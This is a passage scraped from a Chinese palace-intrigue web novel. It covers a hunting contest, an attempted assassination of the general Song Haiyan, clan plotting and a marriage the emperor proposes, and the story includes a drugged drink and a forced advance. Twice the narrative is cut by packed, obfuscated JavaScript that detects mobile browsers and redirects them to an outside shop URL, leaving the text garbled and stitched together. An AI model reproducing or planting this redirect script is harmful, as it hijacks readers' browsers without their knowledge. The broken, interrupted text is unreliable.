他立刻就想去御前告状,但转念一想,又停下脚步。如今陛下的心思主要放在齐家那边,宋海晏诸多逾矩,陛下都睁一只眼闭一只眼。宋海晏抢猎物之事,自家又没有真凭实据,要是事情闹大,说不定被宋海晏逮住机会,倒打一耙。 他越想越气,心头绞痛,差点栽倒在地。 澹台焕眼疾手快,连忙扶住父亲,劝慰道:“父亲莫急,孩儿倒是有个主意。” “什么主意?” “竞猎还有一天,明日我和兄长各带一队,分往不同方向。宋海晏就算本领再高,也只有一个人。如此一来,就算一方受阻,另一方多获猎物,我们仍有反败为胜的机会。” 澹台恭无奈地叹了口气:“眼下也只能如此了……” 第二天清晨,澹台氏兄弟各引部曲入山。澹台炜领人向东攀危崖而上,澹台焕则携众向西循幽谷而行。 靠近营地的山林经过昨天的竞逐,什么都没有剩下,澹台炜率众专往深山险峻处而行。但不管他看上什么猎物,总是有一支箭后发先至,夺走猎物。他回头四顾,却不见人影。日头渐高,他仍是一无所获。 他又翻过两座山,忽看到远处的草丛之中藏着一只野猪。他瞄准松弦,雁翎箭破空而去,正中咽喉要害之处,野猪扑腾了两下,倒地不动了。 他心中大喜,这次总算没有被人捷足先登。他正要率众向前,不远处飞来另外一支绿孔雀羽箭,正中野猪背脊。齐颂带着一大队世家子弟从山后冒了出来。齐颂将澹台炜的那支雁翎箭拔下,扔在地上,命人将野猪带回去。 澹台炜大步向前,挡在猎物之前,喝声道:“姓齐的!这野猪明明是我猎的,你半路杀出捡现成的?你当我澹台家好欺负不成?” 齐颂上上下下将澹台炜打量了个遍,忽作讶异挑眉状,“哟,这不是澹台校尉吗?” 他转头望向身后的世家子弟,笑道:“我怎么听说澹台校尉因冲撞大将军被抓走了?这么快就放了出来?” 他身后的世家子弟都是齐氏附庸,当即有一少年哂笑道:“齐公子没听说吗?澹台校尉当众向大将军跪地求饶,大将军心善,可不得网开一面吗?” 澹台炜一张脸胀得通红,对那少年怒目而视,“你说什么!” 那少年也不甘示弱,瞪了回去:“哟,自己做过的事不让人说吗?你难道没向大将军跪地求饶?” 其他人纷纷七嘴八舌道:“你们听说了吗?澹台家最近丢脸丢到家,昨天在猎宫外安营,结果怎么着?被宋大将军拆了帐篷,赶了出来……” “何止呢?宋大将军提出比箭来决定场地归属。咱们这位澹台校尉自己定下规则,最后都比不过宋大将军,我要是澹台校尉早就寻了一块豆腐自己撞死,哪里还好意思出来竞猎?” “澹台家还说什么‘齐一魏二,澹台第三’,结果竞猎只排第八名,我看‘齐一魏二,澹台第八’还差不多——” 众人你一言我一语,字字句句往澹台炜的心口上戳。 澹台炜眼中血丝暴起,暴喝一声:“找死!”手中长弓猛地抡起,向最近前的世家少年扑去,弓弦如刀锋般划过那少年面门。那少年惨叫一声,脸上顿时绽开一道血痕。 齐颂脸色骤变,厉声道:“上——” 身后的世家子弟一起朝澹台炜攻去,澹台炜双拳难敌四手,很快被撂倒在地。澹台家的人马见自家公子吃亏,也纷纷抽出兵刃还击,眼看一场大战将起。 “都住手——”一声暴喝声如炸雷响起,只见齐氏二公子齐椽不知何时出现在山道上,他看向齐颂,问道:“怎么回事?” 齐颂嗫嚅道:“二叔,是澹台校尉抢夺我们的猎物……” 澹台炜怒道:“好不要脸,这头野猪明明是我先射中的——” 齐椽看了看绿孔雀羽箭,又看了看被扔在地上的雁翎箭,最后看向齐颂,斥道:“混账东西!齐家的脸都让你丢尽了,还不快滚——” 齐颂面红耳赤,连忙带着世家子弟们离开。 齐椽上前,将澹台炜扶了起来,温言道:“澹台公子,齐颂不懂事,我这个当叔叔的代他向你道歉。”他双手交握,深深一揖。 这位齐氏的二公子姿容甚美,举止优雅从容,温和有礼,澹台炜心中郁火正炽,但对着这样一张笑脸也发作不出来,他一拱手,冷声道:“告辞——” 他命自家人马抬起野猪,就要离开。 “澹台公子,等一下。”齐椽的声音从身后传来。 澹台炜回头,见齐椽指了指北方的石山,意味深长道:“我刚才登山赏景,见那座山后有一片溪谷,位置隐蔽,尚未有人踏足,澹台公子若是射猎,可以去那边试试,想必会有收获。” 齐椽温雅一笑,“就当是我代替齐颂向你赔罪。”他拱手为礼,转身离开。 澹台炜略一犹豫,带着人马向齐椽所指的方向而去。 绕过嶙峋山石,走出不远,果然听到流水潺潺之声。沿溪而行,但见草木葳蕤,人迹罕至,一群麂鹿正于林间悠游。澹台炜觑准时机引弓连发,少时便猎得数头,仆从们喜不自胜,将猎物缚于马背。 时至正午,众人择一浓荫处休憩。澹台炜忽觉喉间燥渴,摸出水囊晃了晃,已是空无一滴,便到溪边取水。正要回去时,忽见宋海晏出现在前方不远之处。 宋海晏没有骑马,也没有带任何的随从,形迹可疑,时不时藏身于老树、山石的后面,偶尔还拿起弓箭,似乎在瞄准着什么。 澹台炜心中怒火重新燃起,他心中暗忖,宋海晏果然一直鬼鬼祟祟跟着他。之前故意抢夺澹台家的猎物的,必是宋海晏无疑了。 他想起世家子弟们羞辱的言辞,心中顿时生出恶念来——他的一切耻辱都是拜宋海晏而赐,要是能杀了宋海晏…… 此念一起,澹台炜浑身的血都沸腾起来,他当然应该杀了宋海晏,这是洗刷澹台氏耻辱最直接的方式。 这片溪谷离营地很远,也没有其他人会来。他只要处理得干净一点,根本不会有人察觉。山林猛兽出没,葬身兽腹,本是寻常之事……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589757|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然,其他人绝不会同意他这般冒险的行为。他想了想,装作若无其事的样子回到队伍之中,吩咐道:“上午收获不错,马背都要装不下了。不如你们带着猎物先回营地,下午再来,我且去林中转转,看看有没有收获。” 侍从们不疑有他,将猎物捆好,赶马循原路返回。待马蹄声渐远,澹台炜握紧长弓,重新回到溪谷之中。 澹台炜跟在宋海晏身后,往溪谷最深处而去。宋海晏似乎极为警觉,从不在一个固定的地方停留,奔走之时,身体也一直在左右晃动。澹台炜手中的弓箭拿起又放下,一直没有找到合适的出手机会。 前方出现了一道深邃的峡谷,宋海晏终于停了下来。他藏身在一块巨石之后,最后一次尝试用弓箭瞄准锁定,片刻之后,他放下弓箭,开始往回走。忽然,他似乎察觉到了什么,目光如电,朝澹台炜藏身之处射来,当他看到澹台炜手中的弓箭正对着他时,明显一愣。 澹台炜这时终于意识到不对了,宋海晏并不是跟着他来的,像是追着什么人来到这里。那人进入峡谷之后失去踪迹,宋海晏放弃继续追踪,这才折返。 但是他没有时间多想,手中弓弦一松,利箭如毒蛇吐信般无声掠出,朝宋海晏疾射而去——宋海晏已经发现了他,也知道他动了杀心。他只能先下手为强,如果宋海晏今天没死,死的一定会是他。 就在这时,前面忽然闪出一道红色身影,径直往溪流的方向奔去,声音如银铃:“阿桢,快来,这里有水……” 澹台炜大吃一惊,那是皇帝最宠爱的沅陵郡主萧红鲤,她跑到二人中间,他方才发出的那支箭正朝沅陵郡主飞去。 在这千钧一发之际,宋海晏一个箭步上前,将沅陵郡主扑倒在地,那支羽箭掠过他的眉梢,没入一棵老树之中。 澹台炜心知不妙,拔腿就逃,身后传来一声轻叱:“何方刺客,胆敢刺杀我阿姐,拿下——” 原来,长沙王府在昨日竞猎中暂居第一位,第一次参加竞猎的萧氏姐弟极为兴奋。今日愈加卯足了劲,一心想要拔得头筹,也给宗室子弟长长脸面。 他们追逐猎物,误入这处溪谷,本想找水源饮马,没想到意外卷入这场杀局之中。 萧桢一声令下,王府侍卫如鹰隼般扑上前,将澹台炜按倒在地,捆了个结结实实。 另一边,宋海晏和萧红鲤从地上爬了起来,萧红鲤并不知自己刚才差点丧命,瞪着杏眼叱道:“你是何人?竟敢对本郡主动手动脚!” 萧红鲤久居宫中,此前并没有见过宋海晏,其弟萧桢前日围观了宋海晏和澹台家抢夺营地的争端,倒是认得这位大将军。他上前揖了一礼,道:“多谢大将军刚才救了家姐一命。”又对萧红鲤道:“阿姐,刚才有人暗箭伤人,是大将军救了阿姐——” 他指了指那支没入树中的雁翎箭,道:“阿姐,你看……” 萧红鲤看了看箭,又看了看宋海晏,怔道:“你就是宋海晏?看起来果然不算老……”她上下打量几眼,又道:“不但不老,还很峻拔呢……” 萧桢少年老成,见姐姐口无遮拦,唯恐她得罪大将军,急忙道:“阿姐,不可对大将军无礼——” 萧红鲤移开目光,看向“刺客”,奇道:“澹台校尉,怎么是你?”她眨着眼睛,一脸困惑:“冤有头,债有主,你要报仇雪恨该找宋海晏啊,刺杀我干什么?” 澹台炜心如死灰,不管是刺杀大将军还是刺杀沅陵郡主,只要罪名落实下来,澹台家就完了。 这时,一直没有说话的宋海晏转头看向萧桢,道:“小王爷,能否借一步说话?” 萧桢点了点头。两人跨过溪流,进入密林之中,宋海晏停下脚步,道:“小王爷,方才澹台校尉本是想射一只野狐,不小心失手,才差点伤到郡主。请你们这般禀报陛下,由陛下定夺。” 萧桢瞪大眼睛:“哪有什么野狐,澹台校尉明明是想杀……” 他刚才离得不远不近,恰好将一切尽收眼底,澹台炜的弓箭就是冲着宋海晏去的,萧红鲤闯入纯属意外。 “小王爷慎言。”宋海晏深深看了他一眼,“污谤他人,罪名非轻。为了长沙王府,小王爷最好不要胡乱臆测,也不要对外声张。将人交给陛下处置,其他的事情和你们无关。” 他这两句话说得极重。 萧桢想了想近日澹台氏和宋氏、齐氏的种种争端,虽不明就里,但也明白长沙王府最好不要掺和其中,便拱手道:“多谢大将军提点。” 60. 第十一章 抽丝剥茧 澹台炜的侍从们将猎物带回自家营地,又喂饱了马,出发接应澹台炜。行至半路,竟撞见公子被长沙王府的侍卫五花大绑押往猎宫,称其在溪谷“刺杀沅陵郡主”。侍从不敢耽搁,立刻禀报了澹台恭。 澹台恭匆匆赶到猎宫,却被禁军统领李藏甲拦在宫外,说陛下正在亲自过问此案,让他在外等候消息。澹台恭细问自家侍从,侍从便将澹台炜上午和齐颂冲突,后来得齐椽指点,到溪谷行猎,收获颇丰,澹台炜中午命他们先行回转,一个人深入溪谷等事一一道来。 澹台恭听闻此事和齐椽有关,唯恐儿子遭到齐家算计报复,急得如同热锅上的蚂蚁,却又无可奈何,只得立在廊下,静候消息。 紫微殿中,萧含光正在和齐韶下棋消遣,听闻冯大用的奏报,吃了一惊。 自从齐梁被流放之后,她便预料到澹台氏早晚会出事。只是她没有想到,居然还牵扯到萧红鲤和萧桢。 这一对姐弟涉世未深,在金陵这滩浑水之中,如同一汪清泉。她希望他们的纯真能保持得更久一些,绝不愿意看到他们成为门阀斗争的牺牲品。 她推开棋坪,敛了容色,下令道:“将人带进来。” 萧桢和萧红鲤一同入殿。两名侍从推搡着澹台炜跟了进来,压着肩膀让他跪下。 萧含光俯视着跪伏在地的年轻武将,沉声道:“澹台炜,这是怎么一回事?” 澹台炜将头压在地面,额头紧贴青砖,声音嘶哑:“是臣一人自作主张,请陛下治臣之罪。此事与我父亲和阿弟毫无关系……” 萧含光眉头轻蹙。她原以为澹台炜多少会狡辩一番,以求洗脱罪名。没想到澹台炜直接认罪,看来刺杀是确有其事了。她心中疑窦更深,澹台氏同时得罪齐氏和宋氏,绝没有在这个时候主动招惹长沙王府的理由。 这时,萧桢上前一步:“陛下,臣有事要奏。” 萧含光道:“讲——” 萧桢道:“这话臣只能对陛下一个人说。” 萧含光摆了摆手,齐韶行礼之后告退,内监们也将澹台炜带了下去,只有萧红鲤站着不动,她一脸迷糊地看着弟弟:“阿桢,有什么话是我不能听的……” 忽地,她恍然大悟:“哦,是不是宋海晏对你说了什么?” 萧含光听到“宋海晏”三字,眉心几不可察地一跳,对萧红鲤道:“红鲤,你也先出去——” 萧红鲤只好也退了出去。 萧含光看向萧桢,问道:“阿桢,大将军对你说了什么?” 萧桢肃容道:“启禀陛下,其实今日在溪谷之中,澹台校尉并非想要刺杀阿姐,他是想要射杀大将军。只是阿姐意外闯入,差点中箭,是大将军救了阿姐。事后,大将军对我说,要我对陛下陈奏时,说是澹台校尉想射一只野狐,不小心失手,才差点伤到阿姐……” 萧桢端正衣冠,郑重长揖:“臣不知大将军为何教臣撒谎。臣岂敢欺瞒陛下,已如实禀告,请陛下定夺——” 萧含光缓缓舒了一口气,事情到这里,才多了几分合理。 澹台炜无意伤及萧红鲤,但刺杀大将军也是死罪一条,所以不敢自辩。他并不知道宋海晏不欲深究,反而主动替他遮掩——澹台氏是皇帝用来制衡齐家的一颗棋子,这颗棋子还没有用尽子力,不管是皇帝还是宋海晏,都不希望这颗棋子早早获罪退场,所以宋海晏教萧桢如何“欺君”。 宋海晏大概也料到萧桢不会欺君,那他的意图就是通过萧桢告诉她,此事他不会追究,一切由她处置。 萧含光再次看向萧桢:“还有其他人看到澹台炜刺杀宋海晏的事吗?” 萧桢摇头:“当时林子幽深,光线很暗,仆从们离得很远,只有我在阿姐身后看得清楚。阿姐还一心以为澹台校尉当真想刺杀她呢……” 萧含光眸色微沉,道:“大将军让你这么说,是为了你们好。你出去之后,如果有人问你此事,你就按照他说的回答。” 萧桢道:“是。” 萧含光又道:“你阿姐这次受了惊吓,你多多宽慰她。朕同你所说的,你要守口如瓶,不必让她知晓。此事朕自有主张,其他的事情和你们无关,也不要在外面打听。” 陛下的说辞和宋海晏几乎一模一样,让他们姐弟不要牵涉其中。萧桢听出了警告的意味,深深一躬:“臣知道了。” 萧红鲤姐弟离开之后,萧含光一人看着棋坪上未完的棋局,陷入沉思之中。 事情到了这里,真相仍只有一半。按常理而言,齐梁出事,齐氏必定报复,这件事情齐氏很有可能参与其中。但从澹台炜和萧桢的陈述中,都没有齐氏的影子。高明的猎人设下罗网,自己却隐于幕后。 她要等齐韶的消息,才能还原出事情的全貌,好做最后的决定。 一炷香之后,齐韶急匆匆入殿。 “陛下,有两条消息。其一,昨日竞猎,澹台氏只列第八。据澹台氏的仆从所言,澹台兄弟每次看上的猎物,都被人暗中抢走。澹台兄弟认为此事是宋海晏所为。其二,澹台炜今日在山林中和齐颂发生了冲突,齐颂与一众世家子弟故意羞辱澹台炜,挑起他和宋海晏的仇恨,之后齐椽出现,向澹台炜赔罪,并指引他往那片溪谷中射猎。” “之后澹台炜在溪谷中遇到宋海晏,冲动之下起了杀心。”萧含光指尖轻敲棋坪,突然顿住,“可宋海晏为什么会出现在溪谷之中?” 齐韶略作迟疑,拱手上前半步,“陛下,臣心中有一个猜测,只是不知对或不对。” “什么猜测?” “陛下,据臣观察,宋氏弓箭与别家不同。箭镞为镔铁所制,上面有特殊的花纹。臣方才特意去看了昨日各家带回来的猎物,并没有这种镔铁箭,可见宋海晏昨日并没有猎获野兽。他就算和澹台氏有些龃龉,不想澹台氏在竞猎中夺魁,以他大将军的身份,有很多方法,不至于亲自在猎场上抢夺猎物……” “你说这是有人有心嫁祸……”萧含光沉吟道:“可澹台兄弟弓马娴熟,武艺也算出类拔萃,除了宋海晏,还有谁能从他们眼皮子底下抢走猎物,还不被发现?” “陛下可还记得,齐家也有一名神射手。据太皇太后所言此人本是山越首领,七年之前,宋海晏在洛阳城下遭到暗算,极有可能是此人所为。臣猜测,宋海晏有可能是发现此人踪迹,一路追踪,被引入溪谷之中……之后,齐椽指引澹台炜进入溪谷,想要借刀杀人……” 齐韶眉头深锁,“只要澹台炜和宋海晏在溪谷之中起了冲突,不管是澹台炜成功刺杀宋海晏,还是刺杀不成被宋海晏拿住问罪,都是齐阀喜闻乐见之事……但这只是臣的猜测,真相如何,只有宋海晏本人才知道……” 萧含光深深吸了一口气,如果齐韶猜测为真,这位齐氏二公子真是毒辣又老到的人物。 她心中蓦地揪紧,今日的情况对宋海晏而言可谓危机四伏,溪谷中最少有两个想要杀他的人,他却孤身一人。她可以忍受不见他,却无法坐视他陷于险境。 她应该设法再见他一次,提醒他不要再像今天这样以身犯险。 猎宫之外。 澹台恭忐忑等到黄昏,才见冯大用出来,说是皇帝宣召。澹台恭悄无声息往冯大用手中塞入一锭金子,压低声音道:“常侍大人,不知圣意如何,事情可还有转圜余地?” 冯大用收了金子,笑眯眯道:“澹台将军且放宽心,令郎在林中射狐,差点误中郡主。虽有些错处,但澹台将军平叛有功,又素来忠心,陛下总会顾全将军您的面子。” 澹台恭长舒了一口气,冯常侍之意,陛下虽有薄惩,但不致伤 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待澹台炜回到营帐,仍觉如梦似幻,不敢相信自己竟能安然脱身。 “阿炜,你如今箭术竟荒疏至此。”澹台恭怒目圆睁,斥道:“连只野狐都射不中,还险些伤了郡主!幸而陛下宽厚,否则我澹台家危矣……” 澹台炜茫然道:“什么野狐?” “你还敢问,冯常侍说你在林中射狐,弓箭有失准头,差点误中沅陵郡主。” “不,我不是……”澹台炜正要辩驳,忽地愣住。他射的不是什么野狐,而是宋海晏。宋海晏是本朝大将军,如果宋海晏有心追究刺杀之事,下午押送他去猎宫的就不会是萧氏姐弟。就算皇帝有心维护澹台氏,这件事也不可能这么简单结案。 他虽然想不明白宋海晏为何放他一马,但也知道自己刺杀大将军之事最好烂在肚子里,谁都别说,包括父亲在内。他含含糊糊道:“林子那么暗,谁能想到沅陵郡主突然冒出来……” 澹台恭重重叹了口气,胡须颤动,“罢了罢了,金陵城中波谲云诡,你去建宁磨砺些时日也好。待风头过了,为父再向陛下求情,调你回来。” 日衔西山,各家射猎队伍陆续归营。溪谷中那场风波,似燎原星火,瞬息间传遍整个行营。澹台氏崛起太快,在朝中遭人忌恨,盼着他家倒霉的不少。谁知最后圣意下达,只是略施小惩。有人感叹澹台氏果然圣眷正浓,也有人私下议论:“澹台氏如今被抬得这样高,多半没好下场”。 齐家营帐之内,司徒公听闻消息,乜了齐椽一眼:“你先前信誓旦旦,言必令澹台氏万劫不复。还专门动用屠越,最后的结果,只落得个澹台炜外放到建宁?” 齐椽惋惜道:“想不到澹台炜这么不争气,这么好的机会刺杀宋海晏,他竟然当真一心只想着射猎夺魁,射什么野狐……”他抬了抬眉宇,神容倒是不见气馁:“父亲放心,这次不成,儿子还有后招……” 齐鸿揉着眉心,眉间沟壑愈深:“且罢。那屠越可有回音?” 齐椽道:“他说宋海晏箭术超凡,警觉如狐。二人追逐间,他非但无从下手,反倒险些命丧宋海晏之手。” 齐鸿道:“如今宋海晏占据青州、徐州、兖州,他的弟弟宋陆丰坐镇徐州,心腹大将陆思明坐镇濡须口,锁死长江上游,北扬州全在他的包围之下。将来冲突起来,局面对我们十分不利……” 说起此事,齐椽神色也凝重起来,不见之前从容,“七年前的北伐,本是杀宋家父子的最好机会,可惜被他死里逃生。如今他羽翼丰满,想杀他比从前难多了……” “好在他和皇帝关系不睦,否则你我父子寝食难安。”齐鸿眸光暗沉,“宋海晏这根心头刺,一时难拔便暂且搁置。澹台氏根基更浅,先除掉这颗眼中钉再说。” 61. 第十二章 心期不偶 翌日,礼官们清点竞猎所得猎物。最终长沙王府列第一名,齐氏第二,澹台氏由于第二日表现不俗,列第三名。 庆功大典上,天子亲将龙鳞刀赐予沅陵郡主,其余位列前十的世家,皆获丰厚赏赐:或得金帛美玉,或赐珍馐佳酿,众人欢欣鼓舞。更有旨意传来,赞澹台昱“治事勤勉,劬劳王事”,正式擢升为太常卿。 至此,这场秋猎盛会圆满落幕。猎宫外,旌旗猎猎,各世家子弟志得意满,满载而归。长沙王府萧氏姐弟手捧龙鳞刀,荣光无限;齐氏未夺魁首,却得陛下亲赐西域良驹,亦足以光耀门楣;澹台氏虽经波折,但澹台昱升任太常卿,也算扬眉吐气。 辰时三刻,天子仪仗启程回宫。羽林卫开道,百官随行。萧含光端坐御辇之中,冕旒垂珠轻晃,神色沉静如水。 秋风如刀,几枚枫叶落下。枫叶如血,飘落在御辇的朱轮旁。 秋狩一连数日,文武百官皆不在京中,大事小事积了不少。接下来的几日,朝事繁忙,皇帝往往忙碌到申牌时分。直到几日之后,才偶尔得闲。 这日下午,夏从德传太皇太后懿旨,说今日沅陵郡主萧红鲤入宫向太皇太后请安,太皇太后想起如今华林园中秋菊开得甚好,皇帝若是得闲,可以同去赏菊。 太皇太后寻常只命人传话,召见皇帝的次数越来越少。萧含光命人传御辇,携宫人往华林园而去。到了菊圃,果见白瓣似雪,黄蕊如金,芳华葳蕤,幽香袭人。 菊圃中有一雅轩,太皇太后靠坐在轩中矮塌之上,萧红鲤跪于一侧,替她捶腿。见到皇帝来到,萧红鲤忙敛衽下拜:“红鲤拜见陛下,愿陛下万安。”萧含光命其平身,又向太皇太后行大礼问安,方在侧席就座。 宫人们奉上茶水,萧红鲤起身走到一旁的矮几旁,献宝似的捧了一碟黄玉色的糕点奉上,笑道:“皇帝哥哥,这是我阿母今日亲手做的菊花糕,命我献于宫中。适才太皇太后吃了都说好呢,皇帝哥哥也尝尝……” 萧含光接过糕点,尝了一小块,其滋味清甜爽口,细腻柔润,伴着丝丝菊花清香,赞叹道:“果然不错。” 太皇太后慈目含笑,道:“哀家与皇帝深居宫中,唯有红鲤这孩子记挂着你我,常常入宫走动。如今,眼瞅着红鲤也及笄了,她的婚事皇帝也该多上了心,替她相看个好人家……” 萧含光心中寻思,萧红鲤这些年宫中承欢,伺奉殷勤,连太皇太后这块坚冰亦被她焐热,亲自过问她的婚事,便笑答道:“红鲤在朕心中,和公主也差不多,想要什么样的人不成。她若有了心仪的郎君,朕替她赐婚便是。” “当真?”萧红鲤一双鹿眸扑闪,“可是我阿父阿母都说此事不成。” “君无戏言,你阿父阿母也得听朕的。”萧含光端起茶盏,饮了一口,笑道:“咱家红鲤也有心上人啦,是在猎场上看上谁家儿郎?告诉朕,朕替你做主。” 萧红鲤扭捏起来,两颊微红,小声道:“是宋……宋海晏……”她又看了一眼太皇太后,低声道:“太皇太后她老人家说,这件事要皇帝哥哥你同意才行……” 萧含光端茶的手停在半空,开始后悔之前的话说得太满了。 这事,她不能同意。 就算她同意也不行,因为宋海晏绝不会同意。七年前他偷入禁闱,她不过说了一句“卿自行婚娶便是”,他便要发疯。如今时移世易,他若有心另娶,早该有了子嗣,又怎会蹉跎至今?若她强行赐婚,真不知要惹出多大风波。 但她既已做下承诺,此刻没有反悔的余地。见萧红鲤还眼巴巴地看着她,她朝太皇太后使了个颜色,盼她老人家出面解围。 太皇太后却似浑然未觉,打了个哈欠:“哀家有些倦了,就先回宫了。此事皇帝做主便是。”她站起身,由夏从德搀扶着乘上凤舆,往永寿宫去了。 萧含光沉吟道:“红鲤,你前些日子不是还抱怨宋海晏抢了你的马吗?怎么突然想要嫁给他?” “他前日猎场救了我,又生得丰神俊朗,哪像京中那些膏粱子弟,一个个弱不禁风的……唔,阿桢也说他人好……”萧红鲤眼珠滴溜溜一转,“皇帝哥哥,这件事让你为难吗?” “不,不为难。朕这便召宋海晏入宫。”萧含光方才转念一想,召宋海晏入宫赐婚也未尝不可。君无戏言,她说出的话无法反悔,但若宋海晏当面拒婚,便是另外一回事了。 再者,她本来就想再见宋海晏一面,只是不便召见,以免齐阀生出疑心。眼下恰好是个不错的机会。皇帝召大将军入宫,为沅陵郡主赐婚,大将军不允,抗旨而去。此事落在齐阀的眼中,只会认为皇帝想用联姻拉拢宋海晏,为宋海晏所拒,愈发认为他们君臣不和。 她看向萧红鲤,轻声道:“红鲤,宋海晏为一品军侯,又掌控四州之地,就算是朕也无法强迫他娶谁。如果他当面拒绝,你不可怨恨,知道吗?” 萧红鲤展颜笑道:“这个自然,强扭的瓜不甜,红鲤也知道。” 萧含光抬眸望向侍立阶下的冯大用,沉声道:“传朕口谕,着大将军宋海晏即刻入宫见驾。” 三刻之后,冯大用领着宋海晏穿过□□,朝轩室而来。宋海晏今天着一身天青色轻衫,腰间系了一枚白玉佩,头束玉冠。秋风萧萧肃肃,吹起他衫袍烈烈,更显得如云出岫,如松临风,气度卓然。 宋海晏走到近前,行完面君之礼,在阶下垂手而立:“不知陛下召见,有何谕示?” “朕……”虽然心中早有计较,可当真见到宋海晏,萧含光还是不免心虚,话到唇边,竟难以为继。分明是季秋之月,手心竟生出热汗来。 她知此刻不可回避,迎着他的目光,续道:“宋爱卿为国征战多年,仍未成家。朕之堂妹沅陵郡主,前日蒙爱卿相救,心下倾慕。朕欲为爱卿主婚,将郡主许配于爱卿,不知爱卿意下如何?” 不出意外地,她在宋海晏眼中看到了不可置信的神情。那双狭长深眸骤然一暗,如乌云蔽日,织成密密的阴霾,沉沉看了她一眼,竟是没有说话。 萧含光被他看得心尖一颤。按她原先的设想,宋海晏应该会抗旨,她便可以“商议”为由屏退左右,与他密谈,询问前日猎场之事。 当然,他不应声,她也可以默认他不愿意,直接走下一步。 她正欲开口命左近之人退下,忽闻宋海晏冷笑了一声,道:“臣与郡主素昧平生,不过一面之缘,岂能仓促议婚?”他移开目光,转向依傍在她身侧的萧红鲤,道:“郡主若心属微臣,不若与臣同游华林园,待彼此相熟,再议婚约不迟,不知郡主意下如何?” 萧红鲤鹿眸雀跃,站起身来:“这当然使得。” 她走到宋海晏身侧,粲然一笑:“这华林园我可熟了,大将军还是第一次来吧,我就领着大将军好好游览游览。”她转向萧含光,笑道:“皇帝哥哥,我们先去了……” 她不待皇帝回答,迈出轩室。宋海晏也没有再看皇帝,跟着萧红鲤出去了。 萧含光有一瞬间的茫然,她万没有想到宋海晏的反应和她预想的截然不同——他竟没有抗旨。 “等等……”萧含光站起来,想要叫住他,话说一半,又咽了回去。赐婚本来就是她下的旨意,他的应对十分得体,也十分合理,她现在又有什么理由反对? 宋海晏分明已经走到了门口,又停了下来。就在萧含光以为他会回头的时候,他又加快脚步,几步追上萧红鲤,同她一起往花园而去。 少女如同一只灵动的小鹿,裙摆飞扬,在园林中穿梭跳跃,银铃般的笑声随风传来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是。宋海晏说他不能娶我,他已经娶妻了。他在船上同我讲了他和长乐公主从前的事。呜呜,他那么爱公主,公主也那么爱他……皇帝哥哥……”萧红鲤哭得上气不接下气:“我就是觉得宋海晏太可怜了……他费尽千辛万苦才娶到公主,公主却不幸夭亡,死在婚礼的前一晚……” 萧红鲤鼻子一抽一抽地:“皇帝哥哥,你知道宋海晏和长乐公主以前的事吗?” 萧含光身体僵在那里,她没想到宋海晏会给萧红鲤讲从前的事,也没想到萧红鲤会哭成这样。她一时竟不知该点头还是摇头,只好叹了一口气,道:“长乐公主是朕的妹妹,朕自然也知道一些……此事,是我们萧家对不起他……” 萧红鲤收了泪,又道:“对了,宋海晏让我转告陛下,他说……他说他和长乐公主生当比翼,死当连理,请陛下以后不要再给他赐婚了……” 萧含光闻言只有苦笑。她本来也不是当真想给他赐婚,看来他还是误会了,只好晚些时候再寻机会解释,便又问道:“宋将军人呢?” 萧红鲤:“他受伤了,直接回府去了。” 萧含光不由脱口道:“受伤,怎么受伤的?” “他在船上不知怎么打碎了瓷盏,割破了手指,流了不少血,也不肯叫太医医治,自己出宫去了。” 萧含光愣在原地。 合着她这一下午全白忙,不仅没找到机会问他猎场发生的事,反叫他误会她当真想嫁妹妹给他。他还使性子走了,连解释的机会都没给她。 萧含光命冯大用派人送萧红鲤回家,自己乘御辇回正光殿。晚膳之后,她回到寝殿,见龙床的纱帐不知何时被人拉上,帐中传来一股淡淡的血腥气。 她心中隐约闪过一丝不对劲的感觉,关上殿门,点燃殿中烛火,走到龙床前,拉开纱账,只见宋海晏脸色潮红,呼吸浅乱,只着中衣,闭目躺在床上。 他的左手上有数道碎瓷划出的伤痕,鲜血已凝结,伤口也没有处理,就这样裸露在外。 萧含光这一惊非同小可,也不敢惊动宫中女官和內监,低声问道:“阿晏,你怎么会在这里?” 床上的人陡然睁开眼,一把将她扯入纱帐,欺身而上,将她压在身下,眉眼间带着一股子暴戾煞气:“陛下就这么想要将我推给别人?我在陛下心中究竟算是个什么东西?” 62. 第十三章 别来销魂 他双目赤红,脸色阴寒,脖子上的软骨都立了起来,一颤一颤地,显然是气到了极处。 萧含光急忙道:“阿晏,我没有想要将你推给别人,你听我解释——” 宋海晏嗤笑一声:“解释?陛下如果不是想要我和沅陵郡主结姻,何必命人在茶水中下药……陛下不是问我怎么在这里,我不想要沅陵郡主,我只想要你……” 他一把扯掉冕旒的束带,将那象征帝王威严的礼冠抛掷床下,如瀑的黑发瞬间散开。他灼热的唇瓣碾过她颤抖的眼睑、苍白的颊畔,最终攫住她的唇,齿间纠缠的力道近乎要将她整个人揉进骨血里。 这一吻毫无章法,带着近乎蛮荒的掠夺之意,似是凭本能索求。他周身滚烫如炽炭,呼吸间尽是灼热气息,颈间汗湿,将月白中衣洇出深色水痕。 萧含光察觉不妙,纠缠间,指尖触到他脉搏,只探得脉动如奔马过境,汹涌难遏,分明是中了催情之药。 转瞬之间,她就明白了是怎么回事。宋海晏喝了船上的茶水,之后觉得不对劲,故意打破瓷盏,用碎瓷割破手腕,以此为借口离开,潜入她的寝宫。 她并没有命人在宋海晏的茶水中加东西,萧红鲤不过一个天真烂漫的少女,听了宋海晏讲的旧事,还哭了一场,更不可能做出这样的事。唯一会这么做的人,只有太皇太后。 太皇太后或许真有意促成宋海晏和萧红鲤的婚事。宋家如今势力愈大,难以辖制,嫁以宗室之女算是少有的制衡之法,宋海晏想必不会同意。可要是宋海晏如果在船上和萧红鲤发生了什么,为了皇室颜面,萧红鲤便只能嫁给宋海晏。 宋海晏不会想到这么多,只以为这些都是出自她的授意,愈发记恨上了她。 